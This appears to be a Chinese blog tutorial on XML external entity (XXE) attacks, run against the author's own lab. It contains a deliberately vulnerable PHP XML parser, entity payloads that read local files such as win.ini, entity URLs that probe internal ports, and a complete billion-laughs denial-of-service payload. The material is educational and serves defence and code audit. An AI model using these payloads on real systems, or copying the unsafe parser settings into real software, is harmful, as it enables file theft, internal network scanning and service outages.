美文网首页Web安全
XXE利用(2)--漏洞实现

XXE利用(2)--漏洞实现

作者: 六亲不认的步伐 | 来源:发表于2020-03-30 17:20 被阅读0次

    XXE前置要求

    只有知道开发时如何生成,传输,使用XML文件才能够知道如何进行漏洞利用,代码审计,以及防范。


    php生成XML文件

    目标将前端提交数据到后端来进行生成XML


    前端登录测试页面
    <?php
    header('Content-Type: text/xml;');
    $dom = new DomDocument('1.0','utf-8');// 创建头部声明
    $rootEle = $dom->createElement('userinfo');//创建根节点
    $dom->appendChild($rootEle);//追加到DOM对象 
    $user = $_POST['user'];//追加元素 
    $userNode = $dom->createTextNode($user);
    $line = $dom->createElement('user');//创建元素 
    $line->appendChild($userNode);
    $rootEle->appendChild($line);//追加元素 
    $pass = $_POST['password'];//追加元素 
    $passNode = $dom->createTextNode($pass);
    $line = $dom->createElement('password');//创建元素 
    $line->appendChild($passNode);
    $rootEle->appendChild($line);//追加元素 
    $str = $dom->saveXML();//保存 
    echo $str;
    ?>
    

    通过POST关键数据user和password到后端,进行php生成xml
    例如post数据 user : test password : 123456

    成功生成XML文件,并成功显示

    XML数据传输至后端解析

    提交XML实体执行

    将xml代码通过留言板的方式提交至后端,成功执行DTD中声明的实体

    <?php
    libxml_disable_entity_loader(false);
    $data = isset($_POST['xxe'])?trim($_POST['xxe']):'';
    $resp = '';
    if($data != false){
        $dom = new DOMDocument();
        $dom->loadXML($data, LIBXML_NOENT);
        ob_start();
        var_dump($dom);
        $resp = ob_get_contents();
            echo $resp;
        ob_end_clean();
    
    }
    

    其中的关键代码libxml_disable_entity_loader(false);允许外部实体加载


    XXE漏洞利用

    1. 任意文件读取
      为了能够更好的理解,任意文件读取的意思,我在网站同目录下创建了标志性的txt文本文件
      1.txt文件内容
      通过修改实体内容,修改为<!ENTITY content SYSTEM "./1.txt">
      成功实现了txt文件读取
      为了证明文件读取是可以在网站目录范围外,本次尝试读取非网站内的文件windows系统存在的C:/Windows/win.ini文件。
      通过外部实体读取到关键文件C:/Windows/win.ini
    2. 端口探测
      这个漏洞利用,有点类似与SSRF,通过服务器来进行内网(攻击者未获得授权)的服务器/个人电脑进行端口扫描。
      通过修改实体内容,修改为<!ENTITY content SYSTEM "http://192.168.163.128">来探测80端口
      成功探测到80端口开放
      发现了相关标签,以及html中空格的&nbsp实体的警告,进一步知道该端口有web服务运行。
      8080端口依旧开放
      8888端口未开放
      通过对其他端口的测试也发现了开放与未开放的不同之处。
    3. 执行系统命令
      要通过利用XXE漏洞执行系统命令,需要一定的环境条件,需要安装expect扩展,详细攻击效果可参考加油站资料。


      执行系统命令,环境不存在导致无法执行
    4. 发起Dos攻击
      由于自身Web服务原因,对于该项利用方式,不亲自进行演示,附上如下POC代码,本身原理,就是通过实体的嵌套性使用导致
    <?xml version = "1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
    <lolz>&lol9;</lolz>
    

    加油站

    1. 强烈推荐
      腾讯安全应急响应中心发布的 未知攻焉知防——XXE漏洞攻防
      安全客 【技术分享】XXE漏洞攻防之我见
    2. 对Dos攻击方式的详细解答 XXE注入攻击与防御
    3. Freebuf Blind XXE详解与Google CTF一道题分析
    4. AD攻防工作室 Xml 外部实体注入(xxe)

    第一篇:XML简介(1)--头部声明
    第二篇:XML编写(2)--语法要求
    第三篇:XML规范(3)--DTD限制
    第四篇:XML引用(4)--DTD应用
    第五篇:XXE基础(1)--实体类别
    第七篇:XXE后记(3)--抛砖引玉

    相关文章

      网友评论

        本文标题:XXE利用(2)--漏洞实现

        本文链接:https://www.haomeiwen.com/subject/zyipuhtx.html